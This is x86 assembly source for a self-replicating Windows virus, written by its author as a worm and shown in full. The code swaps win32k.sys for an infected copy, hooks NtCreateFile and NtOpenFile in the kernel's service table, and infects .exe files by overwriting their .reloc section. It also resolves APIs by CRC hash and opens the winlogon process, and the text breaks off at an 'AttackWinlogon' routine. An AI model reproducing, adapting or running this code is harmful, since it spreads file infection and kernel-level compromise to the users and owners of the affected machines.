+;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtImagehlp] ;I correct the cksum of the file win32k.fuck +GezApi eax,MapFileAndCheckSumACRC,MFACSNameLen +lea esi,[ebp + aux] +push esi +lea esi,[ebp + Needed] +push esi +lea esi,[ebp + win32kfuck] +push esi +call eax ;get cksum +callz MapFile +or eax,eax +jz Exit +mov eax,[ebp + ViewHandle] +mov ebx,[eax + 3ch] +add eax,ebx +;eax -> PE +mov ebx,[ebp + aux] +mov [eax + 58h],ebx +callz CloseAll +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +push dword ptr [ebp + SearchHand] ;Closing the search hand +mov eax,[ebp + NtKernel] +GezApi eax,FindCloseCRC,FCNameLen +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] ;renaming win32k.sys to win32k.sy +GezApi eax,MoveFileACRC,MFNameLen +lea esi,[ebp + win32ksy] +push esi +lea esi,[ebp + win32ksys] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtKernel] ;renaming win32k.fuck to win32k.sys +GezApi eax,MoveFileACRC,MFNameLen +lea esi,[ebp + win32ksys] +push esi +lea esi,[ebp + win32kfuck] +push esi +call eax +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;Exit +;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +Exit: +mov eax,[ebp + NtKernel] ;Exit from virus code... +GezApi eax,SetCurrentDirectoryACRC,SCDNameLen +lea esi,[ebp + CurDir] +push esi +call eax ;we restore current directory. +callz FreeLibrarys ;free librarys loaded. +or ebp,ebp ;first generation exit, ExitProcess. +jnz gen2Exit +push 0 +call ExitProcess +gen2Exit: +mov eax,[ebp + NtKernel] ;second generation exit,jumpin old epoint. +GezApi eax,GetModuleHandleACRC,GMHNameLen +push 00000000h +call eax +;eax -> this module +add eax,[ebp + EntryPoint] +jmp eax ;old entry point +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +SysAlreadyInfected: +lea esi,[ebp + win32kfuck] +push esi +mov eax,[ebp + NtKernel] ;deleting win32k.fuck if it would exist +GezApi eax,DeleteFileACRC,DFNameLen +call eax +jmpz Exit +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;Entry Point Of Virus when is executed in ring0. +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +EPointSystem: ;Ring0 Code +;;;;;;;;;;;;; + +push 00000000h ;This space in stack will be filled with the entry point + ;address of win32k.sys +pushfd +pushad + +;;;;;;;;;;;;;;;;;;;;;;;; +callz R0_Doff ;i calculate delta offset. +R0_Doff: +pop ebp +sub ebp,offset R0_Doff +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +lea eax,[ebp + EPointSystem] ;our target is to search image base of win32k.sys in memory. +xor ax,ax ;hardcoded would be 0A0000000h in my system. +add eax,1000h +SearchBaseImage: +sub eax,1000h +cmp word ptr [eax],'ZM' +jne SearchBaseImage +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,[ebp + EntryPointWin32ksys] ;We have the old entry point and the image base +add ebx,eax ;so we have the entry point address. We put +mov [esp + cPushad + cPushfd],ebx ;that entry point after pushad and pushfd bytes +;;;;;;;;;;;;;;;;;;;;;;;; ;in stack for using ret instruction later and + ;for jumping entry point of win32k.sys + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[esp + cPushad + cPushfd + 4] ;address in stack of a zone of ntoskrnl(in function +xor ax,ax ;ExCreateCallback).With this address we will get +add eax,1000h ;ntoskrnl base addr +;eax -> a part of ntoskrnl +SearchNtoskrnl: +sub eax,1000h +cmp word ptr [eax],'ZM' +jne SearchNtoskrnl +;eax -> base of ntoskrnl +mov [ebp + Ntoskrnl],eax +;;;;;;;;;;;;;;;;;;;;;;;; + + + + +;;;;;;;;;;;;;;;;;;;;;;;; +;now we will get somethings that will be useful for hooking NtCreateFile...SSDT address, +;syscall number of NtCreateFile, .... +;There is a undocumented entry in the export table of ntoskrnl, KeServiceDescriptorTable, +;and this entry is the key for accessing the system service dispatch table where we must +;patch for hooking a service(NtCreateFile for example ;) +;KeServiceDescriptorTable points to a structure like this: +; { +; DWORD ServiceTableBase - pointer to system service dispatch table(SSDT) +; DWORD ServiceCounterTable - not important for us +; DWORD NumberOfServices - number of services in system service dispatch table +; DWORD ParamTableBase - pointer to system service parameter table(SSPT) +; } +; +;We want to get the number of the NtCreateFile service and then we search in this table +;and we patch the address of NtCreateFile rutine with a address of our code + +;;;;;;;;;;;;;;;;;;;;;;;; +;eax = ntoskrnl base +GezApi eax,KeServiceDescriptorTableCRC,KSDTNameLen +mov [ebp + KeServiceDescriptorTable],eax +;;;;;;;;;;;;;;;;;;;;;;;; + +;ill get SSDT from that service descriptor table + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[eax] +mov [ebp + SSDT],eax +;;;;;;;;;;;;;;;;;;;;;;;; + +;now ill get from ntoskrnl the addr for NtCreateFile for searching in the table + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + Ntoskrnl] +GezApi eax,NtCreateFileCRC,NCFNameLen +mov [ebp + NtCreateFileAddr],eax +;;;;;;;;;;;;;;;;;;;;;;;; + +;now ill search in the SSDT the address of the entry of NtCreateFile where we will hook + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,[ebp + SSDT] +mov eax,[ebp + KeServiceDescriptorTable] +mov ecx,[eax + 8] ;number of services +mov edx,[ebp + NtCreateFileAddr] +SearchNtCreateFileEntry: +mov eax,[ebx + ecx*4 - 4] +cmp eax,edx +loopnz SearchNtCreateFileEntry +;ebx + ecx*4 -> entry +shl ecx,2 +add ebx,ecx +;ebx -> entry +mov [ebp + NtCreateFileEntryAddr],ebx +;note we could have finished the entire table without finding the entry...becoz ecx = 0 +;so we will compare again +mov eax,[ebx] +cmp eax,edx +jne ReturnWin32ksys +;;;;;;;;;;;;;;;;;;;;;;;; + +;We hook NtCreateFile + +;;;;;;;;;;;;;;;;;;;;;;;; +;ebx = address of entry of NtCreateFile in SSDT +lea eax,[ebp + NtCreateFileHookRutine] +mov [ebx],eax ;in this moment we HOOK NtCreateFile +;;;;;;;;;;;;;;;;;;;;;;;; + + +;and with NtOpenFile same thing + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + Ntoskrnl] +GezApi eax,NtOpenFileCRC,NOFNameLen +mov [ebp + NtOpenFileAddr],eax +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,[ebp + SSDT] +mov eax,[ebp + KeServiceDescriptorTable] +mov ecx,[eax + 8] ;number of services +mov edx,[ebp + NtOpenFileAddr] +SearchNtOpenFileEntry: +mov eax,[ebx + ecx*4 - 4] +cmp eax,edx +loopnz SearchNtOpenFileEntry +;ebx + ecx*4 -> entry +shl ecx,2 +add ebx,ecx +;ebx -> entry +mov [ebp + NtOpenFileEntryAddr],ebx +;note we could have finished the entire table without finding the entry...becoz ecx = 0 +;so we will compare again +mov eax,[ebx] +cmp eax,edx +jne ReturnWin32ksys +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +;ebx = address of entry of NtOpenFile in SSDT +lea eax,[ebp + NtOpenFileHookRutine] +mov [ebx],eax ;in this moment we HOOK NtOpenFile +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;; +callz GetApisRing0 ;ill get some apis for no calling all time GezApi +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +callz DeleteWin32ksy ;i must delete win32k.sy if still not deleted +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +callz PayloadRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +ReturnWin32ksys: +popad +popfd +ret ;previosly i moved entry point adress of win32k.sys at position in stack + ;so this ret will fill eip with start point of win32k.sys +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +NtOpenFileHookRutine: +;;;;;;;;;;;;;;;;;;;;; + +pushfd +pushad + +;;;;;;;;;;;;;;;;;;;;;;;; +callz doff_hookOF ;delta offset +doff_hookOF: +pop ebp +sub ebp,offset doff_hookOF +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtOpenFileAddr] +mov [ebp + HookRealAddr],eax ;we put the jump to real code of NtOpenFile +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +jmpz GeneralCodeForInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;NTSTATUS NtOpenFile( +; OUT PHANDLE FileHandle, +; IN ACCESS_MASK DesiredAccess, +; IN POBJECT_ATTRIBUTES ObjectAttributes, +; OUT PIO_STATUS_BLOCK IoStatusBlock, +; IN ULONG ShareAccess, +; IN ULONG OpenOptions +; ); + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +NtCreateFileHookRutine: + +pushfd +pushad + +;;;;;;;;;;;;;;;;;;;;;;;; +callz doff_hookCF ;delta offset +doff_hookCF: +pop ebp +sub ebp,offset doff_hookCF +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +mov eax,[ebp + NtCreateFileAddr] +mov [ebp + HookRealAddr],eax ;we put the jump to real code of NtCreateFile +;;;;;;;;;;;;;;;;;;;;;;;; + + +;NTSTATUS NtCreateFile( +; OUT PHANDLE FileHandle, +; IN ACCESS_MASK DesiredAccess, +; IN POBJECT_ATTRIBUTES ObjectAttributes, +; OUT PIO_STATUS_BLOCK IoStatusBlock, +; IN PLARGE_INTEGER AllocationSize OPTIONAL, +; IN ULONG FileAttributes, +; IN ULONG ShareAccess, +; IN ULONG CreateDisposition, +; IN ULONG CreateOptions, +; IN ULONG EaBuffer OPTIONAL, +; IN ULONG EaLength +; ); +; + +;this only for NtCreateFile: + +;;;;;;;;;;;;;;;;;;;;;;;; +;i get some datas from parameters +mov eax,[esp + cPushad + cPushfd + 4 + 14h] +mov [ebp + AttributesFileRing0],eax ;i get the attributes of file +mov eax,[esp + cPushad + cPushfd + 4 + 1ch] +mov [ebp + CreateDispositionFileRing0],eax ;i get manner for opening the file +mov eax,[esp + cPushad + cPushfd + 4 + 20h] +mov [ebp + CreateOptionsFileRing0],eax ;i get some more flags relative +;;;;;;;;;;;;;;;;;;;;;;;; ;to manner of opening the file + + +;;;;;;;;;;;;;;;;;;;;;;;; +;I want a existing file non directory +test dword ptr [ebp + CreateDispositionFileRing0],FILE_OPEN +jz StopInfectionRing0 +;test dword ptr [ebp + CreateOptionsFileRing0],FILE_NON_DIRECTORY_FILE +;jz StopInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +;jmpz GeneralCodeForInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +GeneralCodeForInfectionRing0: +;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +callz UnhookWhile ;ill unhook apis while hooking rutine coz for example +;;;;;;;;;;;;;;;;;;;;;;;; ;if we call ZwOpenFile we will go to a infinite loop + + + +;OBJECT_ATTRIBUTES { +; ULONG Length; +; PUNICODE_STRING ObjectName; +; HANDLE RootDirectory; +; PSECURITY_DESCRIPTOR SecurityDescriptor; +; PSECURITY_QUALITY_OF_SERVICE SecurityQualityOfService; +; ULONG Attributes; +; } +; +;UNICODE_STRING { +; USHORT Length; ;len in bytes of Buffer +; USHORT MaximumLength; +; PWSTR Buffer; +; } +;note if RootDirectory parameter is null,ObjectName has a fully qualified file specification, +;path+name,but if RootDirectory is non null,then ObjectName has only the name of the object +;relative to RootDirectory directory. +;when we call NtOpenFile we must use both RootDirectory and ObjectName. + + +;;;;;;;;;;;;;;;;;;;;;;;; +;Ill get the file name of the file i want to infect +mov edi,[esp + cPushad + cPushfd + 4 + 8] ;edi -> ObjectAttributes +mov eax,[edi + 4] ;eax = RootDirectory +mov [ebp + RootDirectoryRing0],eax +mov esi,[edi + 8] ;esi -> unicode string of the name +mov eax,[esi] +mov dword ptr [ebp + FileNameRing0],eax +lea edi,[ebp + StringRing0] ;edi -> our buffer for unicode string of name +mov dword ptr [ebp + FileNameRing0 + 4],edi +movzx ecx,word ptr [esi] ;ecx = long of unicode string +mov esi,[esi + 4] +rep movsb ;i copy the buffer +;;;;;;;;;;;;;;;;;;;;;;;; + + + +;vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv |quitar esto| vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv +movzx ecx,word ptr [ebp + FileNameRing0] +mov eax,dword ptr [ebp + FileNameRing0 + 4] +add eax,ecx +dec eax +dec eax +cmp byte ptr [eax],'e' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'x' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'e' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'.' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'z' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'z' +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'z' +jne StopInfectionRing0 +;^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ |quitar esto| ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + + + + + +;;;;;;;;;;;;;;;;;;;;;;;; +movzx ecx,word ptr [ebp + FileNameRing0] ;I test if file is a .exe file +mov eax,dword ptr [ebp + FileNameRing0 + 4] +add eax,ecx +dec eax +dec eax +or byte ptr [eax],20h +cmp byte ptr [eax],'e' ;i would like this virus could +jne StopInfectionRing0 ;to infect .exe in .zip files too +dec eax ;coz as i said,i want this was a +dec eax ;runtime worm :P and in internet +or byte ptr [eax],20h ;usually we send compress files... +cmp byte ptr [eax],'x' ;however i think that winzip for +jne StopInfectionRing0 ;example will call NtCreateFile +dec eax ;when compressing the .exe file :D +dec eax ;and in that moment we will stay +or byte ptr [eax],20h ;there for infect that file +cmp byte ptr [eax],'e' ;muuuhaaaaahahahahahahaaaahaaahaa +jne StopInfectionRing0 +dec eax +dec eax +cmp byte ptr [eax],'.' +jne StopInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + +;int 1 + + +;;;;;;;;;;;;;;;;;;;;;;;; +callz MapFileRing0 ;map the file for infection ;) +or eax,eax +jz StopInfectionRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;; +mov ebx,eax +;ebx = Base of Mapped File ;And now >:D one of that wonderful overelocing infections >:D +cmp word ptr [ebx],'ZM' ;muuuuhaaahahaaaahahahahahaaaahahahahahahahahahaaahaaahaaaaha +jne CloseAndStopInfectionRing0 ;this virus will be better with a adding to last section +mov edi,[ebx + 3ch] ;infection or with a create new section infection,cavity,.... +add edi,ebx ;and any other infection not so restrictive as .reloc infection +;edi -> PE ;however lot of files have reloc section and we have hooked +cmp word ptr [edi],'EP' ;NtCreateFile :D so we will be able to infect lot of files ;) +jne CloseAndStopInfectionRing0 ;so reloc is good :) however i say that,other infection as +cmp word ptr [edi + 8],'zv' ;a simple adding to last section will be good. +je CloseAndStopInfectionRing0 ;is it already infected? +mov ax,word ptr [edi + 16h] +test ax,00000002h ;yes IMAGE_FILE_EXECUTABLE_IMAGE +je CloseAndStopInfectionRing0 +test ax,00001000h ;no IMAGE_FILE_SYSTEM +jne CloseAndStopInfectionRing0 +test ax,00002000h ;no IMAGE_FILE_DLL +jne CloseAndStopInfectionRing0 +mov ax,[edi + 5ch] +test ax,00000001h ;no IMAGE_SUBSYSTEM_NATIVE +jne CloseAndStopInfectionRing0 + +mov eax,[edi + 28h] ;EPoint of file +mov [ebp + EntryPoint],eax +movzx ecx,word ptr [edi + 6] +dec ecx +mov eax,edi +add eax,0F8h ;sections +GoToLastSectionRing0: +add eax,28h +loop GoToLastSectionRing0 +;eax -> .reloc ;over-reloc infection +cmp [eax],'ler.' +jne CloseAndStopInfectionRing0 +mov ecx,[eax + 10h] +cmp ecx,tamvirus +jb CloseAndStopInfectionRing0 +mov dword ptr [eax + 24h],040000040h ;reloc not discardable,readable,writable +mov edx,[eax + 0ch] +mov [edi + 28h],edx ;RVA new entry point for file +mov edx,edi +mov edi,[eax + 14h] ;i copy the virus overwriting .reloc +add edi,ebx +lea esi,[ebp + svirus] +mov ecx,tamvirus +rep movsb +;edx -> PE +mov word ptr [edx + 8],'zv' ;i mark the infection +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +CloseAndStopInfectionRing0: ;close and bye +callz CloseAllRing0 +;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;; +StopInfectionRing0: +callz RehookAgain +popad +popfd +push 12345678h +HookRealAddr = dword ptr $ - 4 +ret +;;;;;;;;;;;;;;;;;;;;;;;; + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; + ;;;;;;;;FUNCTIONS;;;;;;;;;;;;; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; +;CRC32 rutine(from Billy Belcebu tutorial)...i have not said him nothing about i have take +;his rutine but i dont know him...in addition i have seen this rutine in other viruses +;so i think he doesnt go angry if i use it :) +; +;in:esi -> start of buffer +; edi = size of buffer +;out: +; eax = cksum +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +CRC32: + + cld + xor ecx,ecx + dec ecx + mov edx,ecx +NextByteCRC: + xor eax,eax + xor ebx,ebx + lodsb + xor al,cl + mov cl,ch + mov ch,dl + mov dl,dh + mov dh,8 +NextBitCRC: + shr bx,1 + rcr ax,1 + jnc NoCRC + xor ax,08320h + xor bx,0EDB8h +NoCRC: + dec dh + jnz NextBitCRC + xor ecx,eax + xor edx,ebx + dec edi + jnz NextByteCRC + not edx + not ecx + mov eax,edx + rol eax,16 + mov ax,cx + ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + + + + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; +;GetApi gets a api address from its crc. +;in: +; eax -> base of dll +; edx = the crc32 of api to search. +; ebx = api name len. +;out: +; eax -> function +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +GetApi: + +;eax -> base of dll +;ebx = len api name +;edx = crc of api name +push ebx ecx edx esi edi +push eax +mov eax,[eax + 3ch] +add eax,dword ptr [esp] +;eax -> PE +mov eax,[eax + 78h] +add eax,dword ptr [esp] +;eax -> Export table +push eax +push ebx +mov ebx,[eax + 20h] +add ebx,dword ptr [esp + 8] +;ebx -> Name of functions +push ebx +sub ebx,4 +SearchApiByCRC: +add ebx,4 +mov esi,[ebx] +add esi,dword ptr [esp + 12] +CalcLenString +;ecx = length api.name +mov edi,[esp + 4] +cmp edi,ecx +jne SearchApiByCRC +mov edi,ecx +push ebx +push edx +callz CRC32 +pop edx +pop ebx +cmp eax,edx +jne SearchApiByCRC +pop edi +;edi -> name of functions +;ebx -> name of functions + (index of our api * 4) +sub ebx,edi +mov eax,ebx +xor edx,edx +mov ebx,4 +div ebx +;eax = index of our api +pop ebx +pop ebx +;ebx -> export +mov ecx,[ebx + 24h] +add ecx,dword ptr [esp] +;ecx -> name ordinals +rol eax,1 +add ecx,eax +mov ecx,[ecx] +shr ecx,10h +dec ecx +;ecx = ordinal +mov eax,[ebx + 1ch] +add eax,dword ptr [esp] +;eax -> address of functions +rol ecx,2 +add eax,ecx +mov eax,[eax] +add eax,dword ptr [esp] +;eax = address of function searched +pop ebx +pop edi edi edx ecx ebx +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +; +;UnprotectMem sets as writable zone since esi to esi + ecx in ebx process. +;in: +; eax -> base of kernel +; esi -> dir of memory that will be writable. +; ecx -> bytes of that memory. +; ebx -> handle of the process where is the memory.If 0 this process +; +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +UnprotectMem: + +or ebx,ebx +jne NoThisProcess +push eax +push esi +push ecx +GezApi eax,GetCurrentProcessCRC,GCPNameLen +;eax -> GetCurrentProcess +call eax +;eax = hand of this process +mov ebx,eax +pop ecx +pop esi +pop eax +NoThisProcess: +push ebx +push esi +push ecx +GezApi eax,VirtualProtectExCRC,VPNameLen +;eax -> VirtualProtectEx +pop ecx +pop esi +pop ebx +;ebx = hand of process +;esi = dir +;ecx = nbytes +push eax ;space for receiving lpflOldProtect out parameter +push esp +push PAGE_EXECUTE_READWRITE +push ecx +push esi +push ebx +call eax +pop eax ;we remove space that we reserve in the stack for out parameter +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;GetLibrarys and FreeLibrarys get and free some librarys :P +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +GetLibrarys: + +pushad + +;first,ill try to get ntdll base from PEB structure + +mov eax,dword ptr fs:[30h] ;PEB pointer +mov eax,dword ptr [eax + 0ch] ;PEB_LDR_DATA +mov eax,dword ptr [eax + 1ch] ;LIST_ENTRY +mov eax,dword ptr [eax + 8h] ;ntdll.dll base +mov [ebp + Ntdll],eax + +mov eax,[ebp + NtKernel] +GezApi eax,LoadLibraryACRC,LLNameLen +push eax +lea ebx,[ebp + advapi] +push ebx +call eax +mov [ebp + NtAdvapi],eax +lea ebx,[ebp + psapi] +push ebx +call dword ptr [esp + 4] +mov [ebp + NtPsapi],eax +lea ebx,[ebp + rasapi] +push ebx +call dword ptr [esp + 4] +mov [ebp + NtRasapi],eax +lea ebx,[ebp + imagehlp] +push ebx +call dword ptr [esp + 4] +mov [ebp + NtImagehlp],eax +pop eax +popad +ret +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +FreeLibrarys: + +pushad +mov eax,[ebp + NtKernel] +GezApi eax,FreeLibraryCRC,FLNameLen +push eax +push dword ptr [ebp + NtAdvapi] +call dword ptr [esp + 4] +push dword ptr [ebp + NtPsapi] +call dword ptr [esp + 4] +push dword ptr [ebp + NtRasapi] +call dword ptr [esp + 4] +push dword ptr [ebp + NtImagehlp] +call dword ptr [esp + 4] +pop eax +popad +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;GetWinlogon in:none out: WinlogonHand with winlogon process handle +; eax = 0 if no error +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; + +GetWinlogon: + +pushad +mov ecx,200h +SaveSpaceSearchingWinlogon: +push 00000000h +loop SaveSpaceSearchingWinlogon +;esp -> array of id of processes +mov eax,esp +lea ebx,[ebp + Needed] +push ebx +push 4*200h +push eax +mov eax,[ebp + NtPsapi] +GezApi eax,EnumProcessesCRC,EPSNameLen +call eax +dec eax +jnz GetWinlogonOutError_ +;esp -> array +mov esi,esp +lodsd +SearchWinlogon: +lodsd +push esi +or eax,eax +jz GetWinlogonOutError +;vvv +mov [ebp + WinlogonID],eax +push eax +xor eax,eax +push eax +mov eax,10h or 400h or 20h or 2h or 8h +push eax +mov eax,[ebp + NtKernel] +GezApi eax,OpenProcessCRC,OPNameLen +call eax + +or eax,eax +jz NoWinlogonFound +;eax = process handle +mov [ebp + WinlogonHand],eax +lea ebx,[ebp + Needed] +push ebx +push 4 +lea ebx,[ebp + WinlogonModuleHand] +push ebx +push eax +mov eax,[ebp + NtPsapi] +GezApi eax,EnumProcessModulesCRC,EPMNameLen +call eax +dec eax +jnz NoWinlogonFound +push 50 +lea eax,[ebp + WinlogonModuleName] +push eax +push dword ptr [ebp + WinlogonModuleHand] +push dword ptr [ebp + WinlogonHand] +mov eax,[ebp + NtPsapi] +GezApi eax,GetModuleBaseNameACRC,GMBNNameLen +call eax +lea esi,[ebp + WinlogonModuleName] +lodsd +or eax,20202020h +cmp eax,'lniw' +winl equ $ - 4 +jne NoWinlogonFound +lodsd +or eax,20202020h +cmp eax,'nogo' +ogon equ $ - 4 +jne NoWinlogonFound + +;^^^ +WinLogonFound: +pop esi +GetWinlogonOut: +add esp,4*200h +popad +xor eax,eax +ret + +NoWinlogonFound: +pop esi +jmp SearchWinlogon + +GetWinlogonOutError: +pop esi +GetWinlogonOutError_: +add esp,4*200h +popad +xor eax,eax +inc eax +ret + +;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; +;AttackWinlogon in:none +; out: eax = 1 error eax = 0 no error 